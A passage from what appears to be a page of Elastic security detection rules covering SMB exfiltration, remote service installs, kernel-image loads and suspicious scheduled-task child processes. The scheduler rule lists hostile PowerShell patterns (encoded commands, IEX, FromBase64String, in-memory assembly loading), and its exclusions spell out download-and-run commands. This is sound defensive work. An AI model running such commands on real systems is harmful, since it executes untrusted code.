- Legitimate business applications that require SMB connections to external cloud services might be flagged. Identify and whitelist these specific external IPs or domains to avoid unnecessary alerts.
- Backup solutions that use SMB for data transfer to offsite locations can be mistaken for exfiltration attempts. Ensure these backup service IPs are added to the exception list.
- Misconfigured network devices that inadvertently route SMB traffic externally could cause false alerts. Regularly audit and correct device configurations to minimize these occurrences.
- Security testing or penetration testing activities might generate SMB traffic to external IPs. Coordinate with security teams to temporarily disable the rule or add exceptions during testing periods.
### Response and remediation
- Immediately isolate the affected host from the network to prevent further data exfiltration or lateral movement.
- Conduct a thorough review of the host's network connections and processes to identify any unauthorized SMB traffic or suspicious activities.
- Reset credentials for any accounts that may have been exposed or compromised, focusing on those with elevated privileges.
- Apply patches and updates to the affected system and any other vulnerable systems to mitigate known SMB vulnerabilities.
- Implement network segmentation to limit SMB traffic to only necessary internal communications, reducing the risk of external exposure.
- Enhance monitoring and logging for SMB traffic, particularly for connections to external IPs, to detect and respond to future anomalies more effectively.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected."""
references = ["https://www.securify.nl/en/blog/living-off-the-land-stealing-netntlm-hashes/"]
risk_score = 47
rule_id = "f580bf0a-2d23-43bb-b8e1-17548bb947ec"
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Exfiltration",
"Data Source: Elastic Endgame",
"Data Source: Elastic Defend",
"Data Source: Microsoft Defender XDR",
"Data Source: Sysmon",
"Data Source: SentinelOne",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"
query = '''
event.category:network and host.os.type:windows and process.pid:4 and
network.transport:tcp and destination.port:(139 or 445) and
source.ip:(
10.0.0.0/8 or
172.16.0.0/12 or
192.168.0.0/16
) and
not destination.ip:(
10.0.0.0/8 or
127.0.0.0/8 or
169.254.0.0/16 or
172.16.0.0/12 or
192.0.0.0/24 or
192.0.0.0/29 or
192.0.0.8/32 or
192.0.0.9/32 or
192.0.0.10/32 or
192.0.0.170/32 or
192.0.0.171/32 or
192.0.2.0/24 or
192.31.196.0/24 or
192.52.193.0/24 or
192.168.0.0/16 or
192.88.99.0/24 or
224.0.0.0/4 or
100.64.0.0/10 or
192.175.48.0/24 or
198.18.0.0/15 or
198.51.100.0/24 or
203.0.113.0/24 or
240.0.0.0/4 or
"::1" or
"FE80::/10" or
"FF00::/8"
)
'''
setup = """## Setup
This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.
Setup instructions: https://ela.st/install-elastic-defend
### Additional data sources
This rule also supports the following third-party data sources. For setup instructions, refer to the links below:
- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [SentinelOne Cloud Funnel](https://ela.st/sentinel-one-cloud-funnel)
- [Sysmon Event ID 3 - Network Connection](https://ela.st/sysmon-event-3-setup)
"""
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1048"
name = "Exfiltration Over Alternative Protocol"
reference = "https://attack.mitre.org/techniques/T1048/"
[rule.threat.tactic]
id = "TA0010"
name = "Exfiltration"
reference = "https://attack.mitre.org/tactics/TA0010/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1187"
name = "Forced Authentication"
reference = "https://attack.mitre.org/techniques/T1187/"
[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"
[rule.new_terms]
field = "new_terms_fields"
value = ["destination.ip"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-7d"
Stages and Predicates
Stage 1: new_terms
event.category:network and host.os.type:windows and process.pid:4 and
network.transport:tcp and destination.port:(139 or 445) and
source.ip:(
10.0.0.0/8 or
172.16.0.0/12 or
192.168.0.0/16
) and
not destination.ip:(
10.0.0.0/8 or
127.0.0.0/8 or
169.254.0.0/16 or
172.16.0.0/12 or
192.0.0.0/24 or
192.0.0.0/29 or
192.0.0.8/32 or
192.0.0.9/32 or
192.0.0.10/32 or
192.0.0.170/32 or
192.0.0.171/32 or
192.0.2.0/24 or
192.31.196.0/24 or
192.52.193.0/24 or
192.168.0.0/16 or
192.88.99.0/24 or
224.0.0.0/4 or
100.64.0.0/10 or
192.175.48.0/24 or
198.18.0.0/15 or
198.51.100.0/24 or
203.0.113.0/24 or
240.0.0.0/4 or
"::1" or
"FE80::/10" or
"FF00::/8"
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
destination.port | in |
| field:"DestinationPort" kind:in |
event.category | eq |
| field:"event.category" kind:eq value:"network" |
network.transport | eq |
| field:"Protocol" kind:eq value:"tcp" |
process.pid | eq |
| field:"process_id" kind:eq value:"4" |
source.ip | in |
| field:"src_ip" kind:in |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
destination.ip | in | 10.0.0.0/8, 100.64.0.0/10, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.0.0.0/24, 192.0.0.0/29, 192.0.0.10/32, 192.0.0.170/32, 192.0.0.171/32, 192.0.0.8/32, 192.0.0.9/32, 192.0.2.0/24, 192.168.0.0/16, 192.175.48.0/24, 192.31.196.0/24, 192.52.193.0/24, 192.88.99.0/24, 198.18.0.0/15, 198.51.100.0/24, 203.0.113.0/24, 224.0.0.0/4, 240.0.0.0/4, ::1, FE80::/10, FF00::/8 | excludes:destination.ip |
Remote Windows Service Installed
#Identifies a network logon followed by Windows service creation with same LogonId. This could be indicative of lateral movement, but will be noisy if commonly done by administrators."
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Persistence | |
| Lateral Movement |
Telemetry Coverage
Rule Body
[metadata]
creation_date = "2022/08/30"
integration = ["system", "windows"]
maturity = "production"
updated_date = "2026/05/04"
[rule]
author = ["Elastic"]
description = """
Identifies a network logon followed by Windows service creation with same LogonId. This could be indicative of lateral
movement, but will be noisy if commonly done by administrators."
"""
from = "now-9m"
index = ["logs-system.security*", "logs-windows.forwarded*", "winlogbeat-*"]
language = "eql"
license = "Elastic License v2"
name = "Remote Windows Service Installed"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Remote Windows Service Installed
Windows services are crucial for running background processes. Adversaries exploit this by installing services remotely to maintain persistence or move laterally within a network. The detection rule identifies suspicious service installations following a network logon, excluding known legitimate services, to flag potential unauthorized activities. This helps in identifying and mitigating threats early.
### Possible investigation steps
- Review the source IP address from the authentication event to determine if it is from a known or trusted network segment. Investigate any unfamiliar or suspicious IP addresses.
- Check the winlog.logon.id to correlate the logon session with the service installation event, ensuring they are part of the same session.
- Investigate the user account associated with the logon session to determine if the activity aligns with their typical behavior or role within the organization.
- Examine the service file path from the service-installed event to identify if it is a known or legitimate application. Pay special attention to any paths not excluded in the query.
- Look into the history of the computer where the service was installed (winlog.computer_name) for any previous suspicious activities or alerts.
- Assess the timing and frequency of similar events to determine if this is an isolated incident or part of a broader pattern of suspicious behavior.
### False positive analysis
- Administrative activities can trigger false positives when administrators frequently install or update services remotely. To manage this, create exceptions for known administrative accounts or specific IP addresses used by IT staff.
- Legitimate software installations or updates may appear as suspicious service installations. Maintain an updated list of authorized software paths and exclude these from the detection rule.
- Automated deployment tools like PDQ Deploy or Veeam Backup can cause false positives. Identify and exclude the service paths associated with these tools to reduce noise.
- Scheduled tasks that install or update services as part of routine maintenance can be mistaken for threats. Document and exclude these tasks from the rule to prevent unnecessary alerts.
- Internal security tools that perform regular checks or updates may also trigger alerts. Ensure these tools are recognized and their service paths are excluded from the detection criteria.
### Response and remediation
- Isolate the affected system from the network to prevent further lateral movement by the adversary. This can be done by disabling network interfaces or using network segmentation tools.
- Terminate any unauthorized services identified by the alert to stop any malicious processes from running. Use task management tools or command-line utilities to stop and disable these services.
- Conduct a thorough review of recent logon events and service installations on the affected system to identify any additional unauthorized activities or compromised accounts.
- Change passwords for any accounts that were used in the unauthorized service installation, especially if they have administrative privileges, to prevent further unauthorized access.
- Restore the affected system from a known good backup if any malicious changes or persistence mechanisms are detected that cannot be easily remediated.
- Implement network monitoring and alerting for similar suspicious activities, such as unexpected service installations or network logons, to enhance detection and response capabilities.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or accounts have been compromised."""
risk_score = 47
rule_id = "d33ea3bf-9a11-463e-bd46-f648f2a0f4b1"
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Lateral Movement",
"Tactic: Persistence",
"Data Source: Windows Security Event Logs",
"Resources: Investigation Guide",
]
type = "eql"
query = '''
sequence by winlog.logon.id, winlog.computer_name with maxspan=1m
[authentication where host.os.type == "windows" and event.action == "logged-in" and winlog.logon.type : "Network" and
event.outcome == "success" and source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1"]
[iam where host.os.type == "windows" and event.action == "service-installed" and
not winlog.event_data.SubjectLogonId : "0x3e7" and
not winlog.event_data.ServiceFileName :
("?:\\Windows\\ADCR_Agent\\adcrsvc.exe",
"?:\\Windows\\System32\\VSSVC.exe",
"?:\\Windows\\servicing\\TrustedInstaller.exe",
"?:\\Windows\\System32\\svchost.exe",
"?:\\Program Files (x86)\\*.exe",
"?:\\Program Files\\*.exe",
"?:\\Windows\\PSEXESVC.EXE",
"?:\\Windows\\System32\\sppsvc.exe",
"?:\\Windows\\System32\\wbem\\WmiApSrv.exe",
"?:\\WINDOWS\\RemoteAuditService.exe",
"?:\\Windows\\VeeamVssSupport\\VeeamGuestHelper.exe",
"?:\\Windows\\VeeamLogShipper\\VeeamLogShipper.exe",
"?:\\Windows\\CAInvokerService.exe",
"?:\\Windows\\System32\\upfc.exe",
"?:\\Windows\\AdminArsenal\\PDQ*.exe",
"?:\\Windows\\System32\\vds.exe",
"?:\\Windows\\Veeam\\Backup\\VeeamDeploymentSvc.exe",
"?:\\Windows\\ProPatches\\Scheduler\\STSchedEx.exe",
"?:\\Windows\\System32\\certsrv.exe",
"?:\\Windows\\eset-remote-install-service.exe",
"?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe",
"?:\\Pella Corporation\\OSCToGPAutoService\\OSCToGPAutoSvc.exe",
"?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe",
"?:\\Windows\\SysWOW64\\NwxExeSvc\\NwxExeSvc.exe",
"?:\\Windows\\System32\\taskhostex.exe")]
'''
setup = """## Setup
The following Windows audit policies must be enabled to generate the events used by this rule:
- [Audit Logon](https://ela.st/audit-logon)
- [Audit Security System Extension](https://ela.st/audit-security-system-extension)
"""
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1021"
name = "Remote Services"
reference = "https://attack.mitre.org/techniques/T1021/"
[[rule.threat.technique.subtechnique]]
id = "T1021.002"
name = "SMB/Windows Admin Shares"
reference = "https://attack.mitre.org/techniques/T1021/002/"
[rule.threat.tactic]
id = "TA0008"
name = "Lateral Movement"
reference = "https://attack.mitre.org/tactics/TA0008/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1543"
name = "Create or Modify System Process"
reference = "https://attack.mitre.org/techniques/T1543/"
[[rule.threat.technique.subtechnique]]
id = "T1543.003"
name = "Windows Service"
reference = "https://attack.mitre.org/techniques/T1543/003/"
[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1569"
name = "System Services"
reference = "https://attack.mitre.org/techniques/T1569/"
[[rule.threat.technique.subtechnique]]
id = "T1569.002"
name = "Service Execution"
reference = "https://attack.mitre.org/techniques/T1569/002/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
Stages and Predicates
Ordered sequence: each step below must occur in order within 1m, correlated by winlog.computer_name, winlog.logon.id.
Stage 1: authentication
[authentication where host.os.type == "windows" and event.action == "logged-in" and winlog.logon.type : "Network" and
event.outcome == "success" and source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1"]
Stage 2: iam
[iam where host.os.type == "windows" and event.action == "service-installed" and
not winlog.event_data.SubjectLogonId : "0x3e7" and
not winlog.event_data.ServiceFileName :
("?:\\Windows\\ADCR_Agent\\adcrsvc.exe",
"?:\\Windows\\System32\\VSSVC.exe",
"?:\\Windows\\servicing\\TrustedInstaller.exe",
"?:\\Windows\\System32\\svchost.exe",
"?:\\Program Files (x86)\\*.exe",
"?:\\Program Files\\*.exe",
"?:\\Windows\\PSEXESVC.EXE",
"?:\\Windows\\System32\\sppsvc.exe",
"?:\\Windows\\System32\\wbem\\WmiApSrv.exe",
"?:\\WINDOWS\\RemoteAuditService.exe",
"?:\\Windows\\VeeamVssSupport\\VeeamGuestHelper.exe",
"?:\\Windows\\VeeamLogShipper\\VeeamLogShipper.exe",
"?:\\Windows\\CAInvokerService.exe",
"?:\\Windows\\System32\\upfc.exe",
"?:\\Windows\\AdminArsenal\\PDQ*.exe",
"?:\\Windows\\System32\\vds.exe",
"?:\\Windows\\Veeam\\Backup\\VeeamDeploymentSvc.exe",
"?:\\Windows\\ProPatches\\Scheduler\\STSchedEx.exe",
"?:\\Windows\\System32\\certsrv.exe",
"?:\\Windows\\eset-remote-install-service.exe",
"?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe",
"?:\\Pella Corporation\\OSCToGPAutoService\\OSCToGPAutoSvc.exe",
"?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe",
"?:\\Windows\\SysWOW64\\NwxExeSvc\\NwxExeSvc.exe",
"?:\\Windows\\System32\\taskhostex.exe")]
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq |
event.outcome | eq |
| field:"event.outcome" kind:eq value:"success" |
source.ip | is_not_null | field:"src_ip" kind:is_not_null | |
source.ip | ne |
| field:"src_ip" kind:ne |
winlog.logon.type | wildcard |
| field:"LogonType" kind:wildcard value:"Network" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
winlog.event_data.ServiceFileName | wildcard | ?:\Windows\ADCR_Agent\adcrsvc.exe, ?:\Windows\System32\VSSVC.exe, ?:\Windows\servicing\TrustedInstaller.exe, ?:\Windows\System32\svchost.exe, ?:\Program Files (x86)\*.exe, ?:\Program Files\*.exe, ?:\Windows\PSEXESVC.EXE, ?:\Windows\System32\sppsvc.exe, ?:\Windows\System32\wbem\WmiApSrv.exe, ?:\WINDOWS\RemoteAuditService.exe, ?:\Windows\VeeamVssSupport\VeeamGuestHelper.exe, ?:\Windows\VeeamLogShipper\VeeamLogShipper.exe, ?:\Windows\CAInvokerService.exe, ?:\Windows\System32\upfc.exe, ?:\Windows\AdminArsenal\PDQ*.exe, ?:\Windows\System32\vds.exe, ?:\Windows\Veeam\Backup\VeeamDeploymentSvc.exe, ?:\Windows\ProPatches\Scheduler\STSchedEx.exe, ?:\Windows\System32\certsrv.exe, ?:\Windows\eset-remote-install-service.exe, ?:\Pella Corporation\Pella Order Management\GPAutoSvc.exe, ?:\Pella Corporation\OSCToGPAutoService\OSCToGPAutoSvc.exe, ?:\Pella Corporation\Pella Order Management\GPAutoSvc.exe, ?:\Windows\SysWOW64\NwxExeSvc\NwxExeSvc.exe, ?:\Windows\System32\taskhostex.exe | excludes:winlog.event_data.ServiceFileName |
winlog.event_data.SubjectLogonId | eq | 0x3e7 | excludes:winlog.event_data.SubjectLogonId field:"winlog.event_data.SubjectLogonId" value:"0x3e7" |
Suspicious NtOSKrnl Image Load
#Identifies an unsigned process loading the ntoskrnl image. Some exploits map the Windows kernel file in memory to calculate the offset for certain structures and objects needed for exploitation that may vary per target Operating System.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Rule Body
[rule]
description = """
Identifies an unsigned process loading the ntoskrnl image. Some exploits map the Windows kernel file in memory to
calculate the offset for certain structures and objects needed for exploitation that may vary per target Operating
System.
"""
id = "13ec82e1-324f-4dcf-b58d-cac18faead77"
license = "Elastic License v2"
name = "Suspicious NtOSKrnl Image Load"
os_list = ["windows"]
version = "1.0.4"
query = '''
library where (dll.name : "ntoskrnl.exe" or dll.pe.original_file_name : "ntkrnlmp.exe") and
(process.code_signature.trusted == false or process.code_signature.exists == false) and
process.thread.Ext.call_stack_summary : "?*" and
not process.thread.Ext.call_stack_summary : "*libfacter.so|x64-msvcrt-ruby*" and
not process.executable :
("?:\\Program Files\\Puppet Labs\\Puppet\\sys\\ruby\\bin\\ruby.exe",
"?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\ruby.exe",
"?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\facter.exe",
"?:\\Windows\\SystemApps\\MicrosoftWindows.Client.*\\SearchHost.exe",
"?:\\Users\\*\\AppData\\Local\\Programs\\STAR\\resources\\BISPrint\\pr.exe")
'''
min_endpoint_version = "8.7.0"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1068"
name = "Exploitation for Privilege Escalation"
reference = "https://attack.mitre.org/techniques/T1068/"
[threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"
[internal]
min_endpoint_version = "8.7.0"
Stages and Predicates
Stage 1: library
library where (dll.name : "ntoskrnl.exe" or dll.pe.original_file_name : "ntkrnlmp.exe") and
(process.code_signature.trusted == false or process.code_signature.exists == false) and
process.thread.Ext.call_stack_summary : "?*" and
not process.thread.Ext.call_stack_summary : "*libfacter.so|x64-msvcrt-ruby*" and
not process.executable :
("?:\\Program Files\\Puppet Labs\\Puppet\\sys\\ruby\\bin\\ruby.exe",
"?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\ruby.exe",
"?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\facter.exe",
"?:\\Windows\\SystemApps\\MicrosoftWindows.Client.*\\SearchHost.exe",
"?:\\Users\\*\\AppData\\Local\\Programs\\STAR\\resources\\BISPrint\\pr.exe")
Indicators
These rows show field, operator, and value matches.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.executable | wildcard | ?:\Program Files\Puppet Labs\Puppet\sys\ruby\bin\ruby.exe, ?:\Program Files\Puppet Labs\Puppet\puppet\bin\ruby.exe, ?:\Program Files\Puppet Labs\Puppet\puppet\bin\facter.exe, ?:\Windows\SystemApps\MicrosoftWindows.Client.*\SearchHost.exe, ?:\Users\*\AppData\Local\Programs\STAR\resources\BISPrint\pr.exe | excludes:process.executable |
process.thread.Ext.call_stack_summary | match | libfacter.so|x64-msvcrt-ruby | excludes:process.thread.Ext.call_stack_summary field:"process.thread.Ext.call_stack_summary" value:"libfacter.so|x64-msvcrt-ruby" |
Suspicious Windows Schedule Child Process
#Identifies suspicious child processes of the Windows Schedule service. This behavior is consistent with an adversary executing malicious code or commands via an existing scheduled task.
MITRE ATT&CK Coverage
Rule Body
[rule]
description = """
Identifies suspicious child processes of the Windows Schedule service. This behavior is consistent with an adversary
executing malicious code or commands via an existing scheduled task.
"""
id = "eb04896b-935f-4d12-b2ad-579db82e1f42"
license = "Elastic License v2"
name = "Suspicious Windows Schedule Child Process"
os_list = ["windows"]
version = "1.0.40"
query = '''
process where event.action == "start" and
process.parent.name == "svchost.exe" and process.parent.args == "Schedule" and process.hash.sha256 != null and
(
/* non noisy child processes */
process.pe.original_file_name : ("MSHTA.EXE", "MSBuild.exe", "InstallUtil.exe") or
/* suspicious path */
(process.executable : ("?:\\Users\\Public\\*", "?:\\Windows\\Tasks\\*", "?:\\Windows\\system32\\tasks\\*") and
process.hash.sha256 != null and (process.Ext.relative_file_creation_time <= 500 or process.Ext.relative_file_name_modify_time <= 500)) or
/* potentially noisy child processes */
/* Powershell with encoded long command_line */
(process.pe.original_file_name == "PowerShellx.EXE" and length(process.command_line) >= 200 and process.command_line : ("* -enc*", "* -e *")) or
/* Powershell with common suspicious args */
(process.pe.original_file_name == "PowerShell.EXE" and
process.command_line : ("bypass", "*HKCU*", "* IEX*", "*^*^*^*^*^*^*^*", "*.replace*", "*Reflection.Assembly*", "*set *set *set *", "*Frombase64String*", "*::Load*")) or
/* Windows Command Shell */
(process.pe.original_file_name == "Cmd.Exe" and not user.id == "S-1-5-18" and
process.args : ("?:\\Users\\Public\\*", "?:\\Users\\*\\AppData\\*", "?:\\Windows\\Temp\\*", "?:\\Windows\\Tasks\\*", "?:\\Windows\\system32\\tasks\\*") and
not (process.args : "?:\\Users\\*\\AppData\\Local\\IBM\\Notes\\Data\\Cache.NDK" and process.args : "del")) or
/* Rundll32 running DLL from a user writable folder or with DLL export by ordinal */
(process.pe.original_file_name == "RUNDLL32.EXE" and process.args : ("?:\\Users\\*", "?:\\ProgramData\\*", "?:\\Windows\\Temp\\*", "*,#*")) or
/* unsiged and from users writable folders */
(process.code_signature.exists == false and
(process.Ext.relative_file_creation_time <= 500 or process.Ext.relative_file_name_modify_time <= 500) and
process.executable : ("?:\\Users\\*", "?:\\ProgramData\\*", "?:\\Windows\\Temp\\*", "?:\\Windows\\Tasks\\*", "?:\\Windows\\system32\\tasks\\*"))
) and
/* noisy patterns */
not (process.name : "powershell.exe" and process.args : "https://*.accellis.com*" and process.args : "-Locationid") and
not (process.name : "powershell.exe" and user.id == "S-1-5-18" and
process.args: ("*Get-AuthenticodeSignature*", "LTService", "LTSvcMon", "?:\\Adminbatch\\scripts\\winrm-https-listener-setup.ps1")) and
not (process.name : "powershell.exe" and process.args == "-UseBasicParsing" and process.args == "-UserAgent" and user.id == "S-1-5-18") and
not (process.pe.original_file_name in ("SigniantApp.exe", "G2M.exe", "DragonCenter_Updater.exe", "msedgeupdate.dll", "msrdcw.exe") and
process.code_signature.subject_name in ("Signiant Corporation", "LogMeIn, Inc.", "Micro-Star International CO., LTD.", "Microsoft Corporation")) and
not (process.pe.original_file_name == "OneDriveStandaloneUpdater.exe" and
process.executable : "?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDriveStandaloneUpdater.exe") and
/* many signed legit third party programs executed as scheduled task */
not (process.code_signature.trusted == true and process.executable : "?:\\Users\\*\\AppData\\*") and
not process.code_signature.subject_name in ("win.acme.simple@gmail.com", "NCH Software, Inc.", "RealNetworks, Inc.",
"WATERFOX LIMITED", "YY Inc.", "web discover", "WACS",
"Western Digital Technologies, Inc.") and
not process.hash.sha256 in
("18fb4e476f670b532d5227fc8ff9d7d55c151102875d64e80f2dc0cbd569861c",
"3a87ed304e359392da91bc39cb17af379dcd906c045ffcc4d715086d766acfbc",
"c0593b4b65bb264a982d61a7b84f38b10a41972b49a217ef3a80a906a0c4ee08",
"41512ecc47bb39b9f39c808f89ab23df4a4e88e414215553b825e140a4509946",
"cee7f094fc78679b673f07702cfd403b540e537de8d5b9c6c98e2b24610f9805",
"15eaff644e9a34e49997d57c4c21ce18dab4714321a62eae4252bd8eca1f3f9d",
"fe0ecd844393d78026fd41a5b5bb9ab577a483ec1c290566a3fbdbf52fb24fc5",
"053c6a0f59672b06e9ebccff18f2517780ff4c77ada25ac3eee1f2c4a24e8aea",
"1a6b98956fb92a8a57b56feeef6fedc26b95c809526374f6e7c22acd8e3925c3",
"554fa8a3bf2e233f64d9e000bf30f197159406fbfa9920adca0901a265e45379",
"fb0ecac0bd7b8f3d81dffb359fb1449fc3cb74a15a1f53a568c1c5ee5a8966a9",
"cf635f97d0a3bea30f348277777f36db6b14aea0e7711471e5fb2e13167b80cd",
"22e7528e56dffaa26cfe722994655686c90824b13eb51184abfe44d4e95d473f",
"97fc042ea077118a6bb19641d7c1e8fb20e6d1714f2234110f88a47722bcf75e",
"47ffb3d3e793d11a029d83f77e7c02d91af275116ef8f28a5699b64b6386c91c",
"02a31b0fcb2603643518fb1a164a7a2abe8f3f494daf88ebc3d93c9b98a50e46") and
not process.executable :
("?:\\Users\\*\\AppData\\Local\\GoToMeeting\\*\\g2mupload.exe",
"?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDriveStandaloneUpdater.exe",
"?:\\Users\\*\\AppData\\Local\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe",
"?:\\Users\\*\\AppData\\Local\\Google\\Update\\GoogleUpdate.exe") and
not (process.name : "powershell.exe" and
process.args : ("Invoke-WebRequest http://sms.revize.com/*", "Import-Module PSScheduledJob; $jobDef*", "$w = $env:APPDATA*",
"[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes('Newtonsoft.Json.dll*",
"$f=$env:APPDATA+'\\Browser Assistant\\*",
"& ((Get-ItemProperty -Path 'HKCU:\\\\Control Panel\\\\Desktop').SCRNSAVE.EXE)",
"($wc.DownloadString(https://install.mondoo.com/ps1));",
"Remove-Item HKCU:\\Software\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\tel\\UserChoice -Recurse -Force -ErrorAction SilentlyContinue",
"$h=Get-Content -Path 'BE.txt' -Raw;[byte[]]$bytes=($h -split '(.{2})' -ne '' -replace '^', '0X');[Reflection.Assembly]::Load($bytes);[WebCompanion.BrowserExtension.S]::Start()",
"Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value 'C:\\*.jpg'\nSet-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name WallpaperStyle -Value 2\nRUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters")) and
not (process.name : ("rundll32.exe", "regsvr32.exe") and
process.args : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*", "?:\\windows\\system32\\mmcndmgr.dll",
"dfshim.dll,ShOpenVerbShortcut", "Files\\McAfee\\Agent\\\\ma_aac_service.dll,",
"?:\\ProgramData\\Lenovo\\Vantage\\Addins\\ThinkSpectrumAddin\\*\\Spectrum_Core.dll,RunDLL",
"?:\\Windows\\System32\\dfshim.dll,ShOpenVerbApplication")) and
not (process.name : "cmd.exe" and
process.args : ("C:\\Users\\Public\\*.bat",
"Client\\props\\schedule-nojava.cmd",
"rmdir")) and
not (process.name : "mshta.exe" and
process.args : ("*\\Support\\AzureVirtualDesktop\\ImageSources\\DisableTeamsAutoStart.ps1*",
"*\\Program Files (x86)\\combit\\*\\ServicePackNotification.ps1*")) and
not (process.name : "powershell.exe" and user.id == "S-1-5-18" and process.command_line : "*\\ProgramData\\ServiceNow\\agent-client-collector\\config\\acc.yml*")
'''
min_endpoint_version = "8.4.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[threat.technique.subtechnique]]
id = "T1059.001"
name = "PowerShell"
reference = "https://attack.mitre.org/techniques/T1059/001/"
[[threat.technique.subtechnique]]
id = "T1059.003"
name = "Windows Command Shell"
reference = "https://attack.mitre.org/techniques/T1059/003/"
[[threat.technique.subtechnique]]
id = "T1059.005"
name = "Visual Basic"
reference = "https://attack.mitre.org/techniques/T1059/005/"
[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1053"
name = "Scheduled Task/Job"
reference = "https://attack.mitre.org/techniques/T1053/"
[[threat.technique.subtechnique]]
id = "T1053.005"
name = "Scheduled Task"
reference = "https://attack.mitre.org/techniques/T1053/005/"
[threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1216"
name = "System Script Proxy Execution"
reference = "https://attack.mitre.org/techniques/T1216/"
[[threat.technique]]
id = "T1218"
name = "System Binary Proxy Execution"
reference = "https://attack.mitre.org/techniques/T1218/"
[[threat.technique.subtechnique]]
id = "T1218.003"
name = "CMSTP"
reference = "https://attack.mitre.org/techniques/T1218/003/"
[[threat.technique.subtechnique]]
id = "T1218.004"
name = "InstallUtil"
reference = "https://attack.mitre.org/techniques/T1218/004/"
[[threat.technique.subtechnique]]
id = "T1218.005"
name = "Mshta"
reference = "https://attack.mitre.org/techniques/T1218/005/"
[[threat.technique.subtechnique]]
id = "T1218.009"
name = "Regsvcs/Regasm"
reference = "https://attack.mitre.org/techniques/T1218/009/"
[[threat.technique.subtechnique]]
id = "T1218.010"
name = "Regsvr32"
reference = "https://attack.mitre.org/techniques/T1218/010/"
[[threat.technique.subtechnique]]
id = "T1218.011"
name = "Rundll32"
reference = "https://attack.mitre.org/techniques/T1218/011/"
[[threat.technique]]
id = "T1220"
name = "XSL Script Processing"
reference = "https://attack.mitre.org/techniques/T1220/"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[internal]
min_endpoint_version = "8.4.0"
Stages and Predicates
Stage 1: process
process where event.action == "start" and
process.parent.name == "svchost.exe" and process.parent.args == "Schedule" and process.hash.sha256 != null and
(
process.pe.original_file_name : ("MSHTA.EXE", "MSBuild.exe", "InstallUtil.exe") or
(process.executable : ("?:\\Users\\Public\\*", "?:\\Windows\\Tasks\\*", "?:\\Windows\\system32\\tasks\\*") and
